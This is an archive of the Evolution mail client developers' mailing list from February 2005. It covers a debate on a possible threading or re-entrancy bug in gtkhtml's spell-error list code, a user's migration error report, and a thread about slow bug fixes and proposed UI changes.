--=-05LGTb+RjLv+ilCuf4ZF-- From spamfrommailing@freax.org Fri Feb 25 03:46:07 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id DEC2B124F96; Fri, 25 Feb 2005 03:46:07 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 9552B124750; Fri, 25 Feb 2005 03:45:55 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id 9669B1394AB6; Fri, 25 Feb 2005 09:45:51 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 12204-05; Fri, 25 Feb 2005 09:45:44 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 0F5D71394227; Fri, 25 Feb 2005 09:45:44 +0100 (CET) Subject: Re: [evolution-patches] Re: [Evolution-hackers] Thread locking in gtkhtml!? From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: Not Zed Cc: evolution-hackers@lists.ximian.com, Evolution Patches In-Reply-To: <1109301774.4852.56.camel@lostzed.mmc.com.au> References: <1109279904.31955.26.camel@localhost.localdomain> <1109301774.4852.56.camel@lostzed.mmc.com.au> Content-Type: multipart/alternative; boundary="=-wvuLs61LncWy69LFYbWS" Date: Fri, 25 Feb 2005 09:45:43 +0100 Message-Id: <1109321143.9733.32.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-27.4 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,HTML_10_20,IN_REP_TO, QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, SIGNATURE_LONG_SPARSE autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-wvuLs61LncWy69LFYbWS Content-Type: text/plain Content-Transfer-Encoding: 7bit On Fri, 2005-02-25 at 11:22 +0800, Not Zed wrote: > There shouldn't be any threading involved at all with these functions. > This code should all run exclusively in the main thread. That doesn't > mean there isn't race-like problems in the code though. Is a remote ORBit-2 function working on the spell_errors list? Or a function that has been called by ORBit-2? You can create a POA that will, in the background, launch a new thread to handle such a remote procedure call. In which case the developer might not have noticed it, but then it is going to use multiple threads and it will run in parallel. If I remember it correctly, it happens like this when you initialize the POA with ORBIT_THREAD_HINT_PER_REQUEST. > Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something > is calling a corba method or a glib function, which then goes back > into the mainloop and ends up invoking a callback/signal, while it is > running a loop on the same data somewhere up the stack. These > problems are often more tricky to track down and fix than real race > conditions ... and often harder to fix since you can't just use a > simple lock. Okay. My patch might have made it a little but more stable then. But I agree that if thats the case, this patch isn't a real fix for the problem. I think it's more stable for me now, because there's a smaller timeframe in which problems can happen. The unpatched version can introduce problems during the time it's looping the spell_errors. Mine will during that time just collect those items that are to be removed. It can only create problems while it's actually removing the collected items. Which takes less time. Overall will the remove_spell_errors function take longer, but there's a shorter timetime in which it can create problems. It's not removing the problem, it's just making it happen less frequently. Which isn't going to help debugging this case :-), of course. > Well i just had a look at the code,and maybe it isn't, none of the > loops do anything but purely memory operations inside of them. > > > A possible reason why the previous method had problems might be > > because of this: > > static GList* > > remove_one (GList *list, GList *link) > > { > > (a) spell_error_destroy ((SpellError *) link->data); > > -- race conditions can happen here -- > > (b) return g_list_remove_link (list, link); > > } > > > > As you can see it's first destroying and they removing the link from > > the GList. It's possible my kernel is going to interrupt my process > > between (a) and (b) and that the other process is going to try > > playing with the pointer link->data during the time it was given to > > play on my CPU. > Yeah but it can't be a thread issue :) (or it better not be, if it > is, there are bigger problems than this happening). > > > > This might also fix it. But then it's still using a hackish way for > > removing an item from the GList. > > > > static GList* > > remove_one (GList *list, GList *link) > > { > > GList *retval = g_list_remove_link (list, link); > > spell_error_destroy ((SpellError *) link->data); > > return retval; > > } > > I doubt it would make any difference, spell_error_destroy() is just a > g_free() and nothing more. Which leaves the pointer at link->data undefined, while it's possible that another thread is still working on that pointer at the same time (of course only in case something else is running in parallel). If that other routine, being run in parallel, is doing something like this: while (spell_errors) { SPellError *e = spell_errors->data; /* Do stuff with e */ spell_errors = g_list_next (spell_errors); } It can't be sure whether or not e has been g_free't by the other thread during one such loop or not. Each time it would touch e, it would have to check for it (and then still, an "if" can also get scheduled). Therefor, just like you said, it's necessary to introduce locking and lock the other thread each atomic block of operations it's going to perform on items in the spell_errors list. > remove_one() should also free the link I think, since it looks like it > is just leaked currently. Indeed. I've noticed it too. But rather than fixing remove_one, I decided to rewrite it's calling-function ;-). There's only one function calling remove_one, thats the remove_spell_errors. > BTW none of these fixes would be any help if it was threaded - it > would definitely need a lock. Indeed. > The remove_spell_errors() looks like a normal iterative-with-modify > loop, I can't imagine it is a problem as such, assuming nothing silly > is going on with the list (e.g. if the list contains freed nodes or > invalid back-pointers). Valgrind could check this - only if you > changed glib not to use memchunks for the list nodes though. -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-wvuLs61LncWy69LFYbWS Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Fri, 2005-02-25 at 11:22 +0800, Not Zed wrote:
There shouldn't be any threading involved at all with these functions.  This code should all run exclusively in the main thread.  That doesn't mean there isn't race-like problems in the code though.
Is a remote ORBit-2 function working on the spell_errors list? Or a function that has been called by ORBit-2? You can create a POA that will, in the background, launch a new thread to handle such a remote procedure call. In which case the developer might not have noticed it, but then it is going to use multiple threads and it will run in parallel.

If I remember it correctly, it happens like this when you initialize the POA with ORBIT_THREAD_HINT_PER_REQUEST.

Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something is calling a corba method or a glib function, which then goes back into the mainloop and ends up invoking a callback/signal, while it is running a loop on the same data somewhere up the stack.  These problems are often more tricky to track down and fix than real race conditions ... and often harder to fix since you can't just use a simple lock.

Okay. My patch might have made it a little but more stable then. But I agree that if thats the case, this patch isn't a real fix for the problem. I think it's more stable for me now, because there's a smaller timeframe in which problems can happen. The unpatched version can introduce problems during the time it's looping the spell_errors. Mine will during that time just collect those items that are to be removed. It can only create problems while it's actually removing the collected items. Which takes less time. Overall will the remove_spell_errors function take longer, but there's a shorter timetime in which it can create problems.

It's not removing the problem, it's just making it happen less frequently. Which isn't going to help debugging this case :-), of course.

Well i just had a look at the code,and maybe it isn't, none of the loops do anything but purely memory operations inside of them.
A possible reason why the previous method had problems might be because of this:

static GList*
remove_one (GList *list, GList *link)
{
(a) spell_error_destroy ((SpellError *) link->data);
        -- race conditions can happen here --
(b) return g_list_remove_link (list, link);
}

As you can see it's first destroying and they removing the link from the GList. It's possible my kernel is going to interrupt my process between (a) and (b) and that the other process is going to try playing with the pointer link->data during the time it was given to play on my CPU.

Yeah but it can't be a thread issue :)  (or it better not be, if it is, there are bigger problems than this happening).


This might also fix it. But then it's still using a hackish way for removing an item from the GList.

static GList*
remove_one (GList *list, GList *link)
{
    GList *retval = g_list_remove_link (list, link);
    spell_error_destroy ((SpellError *) link->data);
    return retval;
}
I doubt it would make any difference, spell_error_destroy() is just a g_free() and nothing more.

Which leaves the pointer at link->data undefined, while it's possible that another thread is still working on that pointer at the same time (of course only in case something else is running in parallel).

If that other routine, being run in parallel, is doing something like this:

while (spell_errors)
{
    SPellError *e = spell_errors->data;

    /* Do stuff with e */

    spell_errors = g_list_next (spell_errors);
}

It can't be sure whether or not e has been g_free't by the other thread during one such loop or not. Each time it would touch e, it would have to check for it (and then still, an "if" can also get scheduled). Therefor, just like you said, it's necessary to introduce locking and lock the other thread each atomic block of operations it's going to perform on items in the spell_errors list.

remove_one() should also free the link I think, since it looks like it is just leaked currently.

Indeed. I've noticed it too. But rather than fixing remove_one, I decided to rewrite it's calling-function ;-). There's only one function calling remove_one, thats the remove_spell_errors.

BTW none of these fixes would be any help if it was threaded - it would definitely need a lock.

Indeed.

The remove_spell_errors() looks like a normal iterative-with-modify loop, I can't imagine it is a problem as such, assuming nothing silly is going on with the list (e.g. if the list contains freed nodes or invalid back-pointers).  Valgrind could check this - only if you changed glib not to use memchunks for the list nodes though.



-- 
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-wvuLs61LncWy69LFYbWS-- From archana_a5@rediffmail.com Fri Feb 25 06:03:02 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ABAB212493E; Fri, 25 Feb 2005 06:03:02 -0500 (EST) Received: from rediffmail.com (unknown [203.199.83.147]) by lists.ximian.com (Postfix) with SMTP id 6CB5112493E for ; Fri, 25 Feb 2005 06:02:49 -0500 (EST) Received: (qmail 2659 invoked by uid 510); 25 Feb 2005 11:04:21 -0000 Date: 25 Feb 2005 11:04:21 -0000 Message-ID: <20050225110421.2658.qmail@webmail25.rediffmail.com> Received: from unknown (59.92.137.246) by rediffmail.com via HTTP; 25 feb 2005 11:04:21 -0000 MIME-Version: 1.0 From: "archana a" Reply-To: "archana a" To: evolution-hackers@lists.ximian.com Cc: kharish@novell.com Content-type: multipart/alternative; boundary="Next_1109329461---0-203.199.83.147-2652" X-Spam-Status: Yes, hits=10.0 required=5.0 tests=HTML_20_30,HTML_IMAGE_ONLY_10,MSG_ID_ADDED_BY_MTA_2, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REPLY_TO_HAS_UNDERLINE_NUMS version=2.53 X-Spam-Level: ********** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Migration errors Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: This is a multipart mime message --Next_1109329461---0-203.199.83.147-2652 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =0AHello everyone. =0A=0A I built evolution 2.1 & could execute it twice w= ithout much hassles.But now I am getting migration error as follows:=0A=0A"= =0A addressbook_migrate (1.4.0)=0Atrying to migrate from /home/archana/e= volution/addressbook-sources.xml=0Afound 1 contact servers to migrate=0Atry= ing to migrate completion folders "=0A=0A=0ANeither moving ".evolution" = to other destination nor recompiling it afresh helped.=0A=0APlease anyone h= elp me.=0A --Archana A(archana_a5@rediffmail.com)=0A=0A --Next_1109329461---0-203.199.83.147-2652 Content-type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline

=0A
=0AHello everyone. 
=0A
=0A I built evolution 2.1 &am= p; could execute it twice without much hassles.But now I am getting migrati= on error as follows:
=0A
=0A"
=0A    addressbook_mi= grate (1.4.0)
=0Atrying to migrate from /home/archana/evolution/addressb= ook-sources.xml
=0Afound 1 contact servers to migrate
=0Atrying to mi= grate completion folders    "
=0A
=0A
=0ANeither mo= ving ".evolution" to other destination nor recompiling it afresh = helped.
=0A
=0APlease anyone help me.
=0A    --Archana = A(archana_a5@rediffmail.com)=0A

=0A=0A=0A

=0A=0A --Next_1109329461---0-203.199.83.147-2652-- From snallagatla@novell.com Fri Feb 25 07:28:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 27C9F12402C; Fri, 25 Feb 2005 07:28:35 -0500 (EST) Received: from linux.site (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id 8629F12493E for ; Fri, 25 Feb 2005 07:28:22 -0500 (EST) Received: by linux.site (Postfix, from userid 0) id 09207647FB; Fri, 25 Feb 2005 17:51:08 +0530 (IST) Subject: Re: [Evolution-hackers] Migration errors From: Sivaiah Nallagatla To: archana a Cc: evolution-hackers@lists.ximian.com, kharish@novell.com In-Reply-To: <20050225110421.2658.qmail@webmail25.rediffmail.com> References: <20050225110421.2658.qmail@webmail25.rediffmail.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Fri, 25 Feb 2005 17:51:08 +0530 Message-Id: <1109334068.22917.4.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-18.8 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: This error does not say much , so we can notreally help. Also these kind of quires are better done on evolution-users mailnbg list not hackers. Siva On Fri, 2005-02-25 at 11:04 +0000, archana a wrote: > >Hello everyone. > >I built evolution 2.1 & could execute it twice without much hassles.But >now I am getting migration error as follows: > >" > addressbook_migrate (1.4.0) >trying to migrate from /home/archana/evolution/addressbook-sources.xml >found 1 contact servers to migrate >trying to migrate completion folders " > > >Neither moving ".evolution" to other destination nor recompiling it >afresh helped. > >Please anyone help me. > --Archana A(archana_a5@rediffmail.com) > > > > From carlos.gonzalez@shaw.ca Sat Feb 26 04:07:27 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7F99C1248F8; Sat, 26 Feb 2005 04:07:27 -0500 (EST) Received: from pd4mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by lists.ximian.com (Postfix) with ESMTP id AFB49124583 for ; Sat, 26 Feb 2005 04:07:15 -0500 (EST) Received: from pd4mr7so.prod.shaw.ca (pd4mr7so-qfe3.prod.shaw.ca [10.0.141.84]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICI00FACHC2F960@l-daemon> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 02:07:14 -0700 (MST) Received: from pn2ml5so.prod.shaw.ca ([10.0.121.149]) by pd4mr7so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICI00H61HC2ZGM0@pd4mr7so.prod.shaw.ca> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 02:07:14 -0700 (MST) Received: from 192.168.1.9 (S0106006097389864.ed.shawcable.net [68.150.172.101]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0ICI00L2PHC2LG@l-daemon> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 02:07:14 -0700 (MST) Date: Sat, 26 Feb 2005 02:07:15 -0700 From: Carlos Gonzalez To: Evolution Hackers-List Message-id: <1109408835.15760.13.camel@localhost.localdomain> MIME-version: 1.0 X-Mailer: Evolution 2.0.2 Content-type: text/plain Content-transfer-encoding: 7bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I was reading through a bunch of the bug and feature requests entered into the Ximian bug database and was struck by how so many of them have not had any resolution for years while being requested over and over again. Is this because there are not enough people volunteering to fix bugs and/or add features? Is this because of a philosophical lack of willingness to include some of the feature requests (many of whom seem quite reasonable)? A little of both or maybe something else? I am just curious given that I am looking at starting to make some changes in Evolution for my own use and that of my business clients and want to work as much as possible with Evolution developers as opposed to independent of them. But I don't want to even bother helping out if there is some sort of philosophical mind set against adding new features or some such. In the end I may just have to incorporate the features that I and perhaps some of my clients might want in my own little "fork" rather than waiting for something to make it into the main tree, so this issue may be mute but I am mainly just curious as to why it seems to take so long to act on a bug or a feature request. I suppose I should also take into account that I was only viewing those things that were not resolved and that the context of seeing this against the great numbers that may have been resolved already is missing. Any insight on this would be appreciated. Thanks. Carlos From mccannwj@pha.jhu.edu Sat Feb 26 10:17:43 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 21120124026; Sat, 26 Feb 2005 10:17:43 -0500 (EST) Received: from eta.pha.jhu.edu (eta.pha.jhu.edu [128.220.143.20]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 72FD01242BE for ; Sat, 26 Feb 2005 10:17:30 -0500 (EST) Received: from adcam.pha.jhu.edu (adcam.pha.jhu.edu [128.220.146.76]) by eta.pha.jhu.edu (8.12.8/8.12.4) with ESMTP id j1QFHSLw023453 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 26 Feb 2005 10:17:28 -0500 (EST) Received: from [192.168.2.57] (pcp08707090pcs.parkvl01.md.comcast.net [69.137.61.88]) (authenticated bits=0) by adcam.pha.jhu.edu (8.12.9/8.12.9) with ESMTP id j1QFHNJf002964 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 26 Feb 2005 10:17:27 -0500 (EST) Message-ID: <422092FB.1050307@pha.jhu.edu> Date: Sat, 26 Feb 2005 10:17:15 -0500 From: William Jon McCann User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Carlos Gonzalez Cc: Evolution Hackers-List Subject: Re: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? References: <1109408835.15760.13.camel@localhost.localdomain> In-Reply-To: <1109408835.15760.13.camel@localhost.localdomain> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hello, You are attempting to draw conclusions from the number of open bugs without considering all bugs. Please see: http://en.wikipedia.org/wiki/Selection_bias If you have a sincere desire to help, produce good quality code to fix a problem. We can never have enough people volunteering to be part of the solution. Jon Carlos Gonzalez wrote: > I was reading through a bunch of the bug and feature requests entered > into the Ximian bug database and was struck by how so many of them have > not had any resolution for years while being requested over and over > again. > > Is this because there are not enough people volunteering to fix bugs > and/or add features? > > Is this because of a philosophical lack of willingness to include some > of the feature requests (many of whom seem quite reasonable)? > > A little of both or maybe something else? > > I am just curious given that I am looking at starting to make some > changes in Evolution for my own use and that of my business clients and > want to work as much as possible with Evolution developers as opposed to > independent of them. But I don't want to even bother helping out if > there is some sort of philosophical mind set against adding new features > or some such. In the end I may just have to incorporate the features > that I and perhaps some of my clients might want in my own little "fork" > rather than waiting for something to make it into the main tree, so this > issue may be mute but I am mainly just curious as to why it seems to > take so long to act on a bug or a feature request. > > I suppose I should also take into account that I was only viewing those > things that were not resolved and that the context of seeing this > against the great numbers that may have been resolved already is > missing. > > Any insight on this would be appreciated. > > Thanks. > > Carlos From carlos.gonzalez@shaw.ca Sat Feb 26 16:55:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 17B83124104; Sat, 26 Feb 2005 16:55:35 -0500 (EST) Received: from pd4mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by lists.ximian.com (Postfix) with ESMTP id 135601240BA for ; Sat, 26 Feb 2005 16:55:23 -0500 (EST) Received: from pd2mr8so.prod.shaw.ca (pd2mr8so-qfe3.prod.shaw.ca [10.0.141.11]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICJ00NQ3GW93I40@l-daemon> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 14:55:22 -0700 (MST) Received: from pn2ml7so.prod.shaw.ca ([10.0.121.151]) by pd2mr8so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICJ0033XGW970B0@pd2mr8so.prod.shaw.ca> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 14:55:21 -0700 (MST) Received: from 192.168.1.9 (S0106006097389864.ed.shawcable.net [68.150.172.101]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0ICJ00LI8GW8NW@l-daemon> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 14:55:21 -0700 (MST) Date: Sat, 26 Feb 2005 14:55:22 -0700 From: Carlos Gonzalez Subject: Re: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? In-reply-to: <422092FB.1050307@pha.jhu.edu> To: Evolution Hackers-List Message-id: <1109454922.13648.21.camel@localhost.localdomain> MIME-version: 1.0 X-Mailer: Evolution 2.0.2 Content-type: text/plain Content-transfer-encoding: 7bit References: <1109408835.15760.13.camel@localhost.localdomain> <422092FB.1050307@pha.jhu.edu> X-Spam-Status: No, hits=-19.5 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Jon, On Sat, 2005-02-26 at 10:17 -0500, William Jon McCann wrote: > Hello, > > You are attempting to draw conclusions from the number of open bugs > without considering all bugs. Please see: > http://en.wikipedia.org/wiki/Selection_bias I thought it might be something of the sort Jon. Appreciate the heads up on the possibility of my impression being way off based on skewed analysis based on the bugs that are still in existence without taking into account all the countless bugs and feature requests that have probably been dealt with already. I meant no offense by the way in case anyone found my impression offensive. I was mostly asking so that others could help me see differently. And from the standpoint of wondering how to approach making changes to the code for my own use and that of potential business clients of mine. Whether to participate in helping out or not based on my perception of whether any changes would be well received or considered or not. > If you have a sincere desire to help, produce good quality code to fix a > problem. We can never have enough people volunteering to be part of the > solution. For sure Jon. But on my end I am not so much interested in squashing bugs as much as I am in changing the way Evolution works in some of it's more quirky ways. For I have settled on Evolution as my email client of choice and will be with it for years to come. So it's worth it for me to work on some changes. For example.... 1. Get rid of the way the Send/Receive box takes over the screen and does not allow one to do much of anything in Evolution until AFTER it has finished. Only way that I have found around this is to set Evolution into automatic retrieval mode and then go off to do something else on my computer. But it would be better to get rid of the box altogether and replace it with some kind of indicator on the status bar unless user wishes otherwise. 2. Provide the means to be able to run a filter on a folder of emails manually. Without having said filter execute on incoming emails or outgoing emails only. Right now there is no such mechanism and this is quite handy, almost needful, to have to accomodate those who don't want all their email filtered until AFTER they have read it all out of their inbox. 3. Revamp the way Evolution responds to key presses and otherwise on the screen such that a user has a hard time telling what area of the screen is in focus and what their key presses will affect. For example the blue highlight bar (under Gnome) is in the folder pane over a folder. The emails in that folder are being displayed in the message pane (not the preview pane). One presses "." to go to the first unread message in the folder followed by the down arrow key to get to the next one (which is intuitive). What happens? The highlight bar moves to the next folder not the next message. This is confusing and quirky. It's difficult to tell what pane will be affected by my keypresses. 4. Change the little, itty bitty check boxes Enabling the checking of email from the various accounts one has, to more standard check boxes that are more seen to be that. The one's that are there look like some kind of decorative icon and are thus confusing. I mean they look pretty and all but for a regular user they are confusing since they don't look like any checkboxes one normally sees in programs of any kind. I mean the check inside the box I should say. Not the fact that there is a box accepting a check. I could go on..... Suffice it to say that each of these changes, while perhaps good overall and not just beneficial to me personally, would require a lot of effort not only to implement for myself alone but perhaps for everyone through a more formal inclusion into the main code branch. I'm not sure I want to fight for these changes and take the time to so fight for them if in the end such changes are going to be considered invalid, of no use, or even frowned upon. That is why I was asking about the apparent lack of closure to some very old bugs and very old feature requests. Either in implementing such or definitively putting them to rest by stating that they will not be worked on for this or that logical reason. All I see with most of the old one's left is that they keep getting knocked to later or in the future. They are never closed if that makes sense. Again my apologies if my impressions are way off but please take into account that I am feeling my way around all this for the first time with Evolution. Thanks. Carlos > > Jon > > Carlos Gonzalez wrote: > > I was reading through a bunch of the bug and feature requests entered > > into the Ximian bug database and was struck by how so many of them have > > not had any resolution for years while being requested over and over > > again. > > > > Is this because there are not enough people volunteering to fix bugs > > and/or add features? > > > > Is this because of a philosophical lack of willingness to include some > > of the feature requests (many of whom seem quite reasonable)? > > > > A little of both or maybe something else? > > > > I am just curious given that I am looking at starting to make some > > changes in Evolution for my own use and that of my business clients and > > want to work as much as possible with Evolution developers as opposed to > > independent of them. But I don't want to even bother helping out if > > there is some sort of philosophical mind set against adding new features > > or some such. In the end I may just have to incorporate the features > > that I and perhaps some of my clients might want in my own little "fork" > > rather than waiting for something to make it into the main tree, so this > > issue may be mute but I am mainly just curious as to why it seems to > > take so long to act on a bug or a feature request. > > > > I suppose I should also take into account that I was only viewing those > > things that were not resolved and that the context of seeing this > > against the great numbers that may have been resolved already is > > missing. > > > > Any insight on this would be appreciated. > > > > Thanks. > > > > Carlos > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers From notzed@ximian.com Sun Feb 27 22:48:17 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id DF74B1245EF; Sun, 27 Feb 2005 22:48:17 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 9C95A1245A0 for ; Sun, 27 Feb 2005 22:48:04 -0500 (EST) Received: (qmail 5267 invoked from network); 28 Feb 2005 03:48:02 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 28 Feb 2005 03:48:02 -0000 Subject: Re: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? From: Not Zed To: Carlos Gonzalez Cc: Evolution Hackers-List In-Reply-To: <1109454922.13648.21.camel@localhost.localdomain> References: <1109408835.15760.13.camel@localhost.localdomain> <422092FB.1050307@pha.jhu.edu> <1109454922.13648.21.camel@localhost.localdomain> Content-Type: multipart/alternative; boundary="=-7zLlVW4Lru1MaQvvWcm3" Date: Mon, 28 Feb 2005 11:46:13 +0800 Message-Id: <1109562373.7375.22.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-18.7 required=5.0 tests=ASCII_FORM_ENTRY,BAYES_30,EMAIL_ATTRIBUTION,HTML_20_30, IN_REP_TO,QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-7zLlVW4Lru1MaQvvWcm3 Content-Type: text/plain Content-Transfer-Encoding: 7bit On Sat, 2005-02-26 at 14:55 -0700, Carlos Gonzalez wrote: > Hi Jon, > > > On Sat, 2005-02-26 at 10:17 -0500, William Jon McCann wrote: > > Hello, > > > > You are attempting to draw conclusions from the number of open bugs > > without considering all bugs. Please see: > > 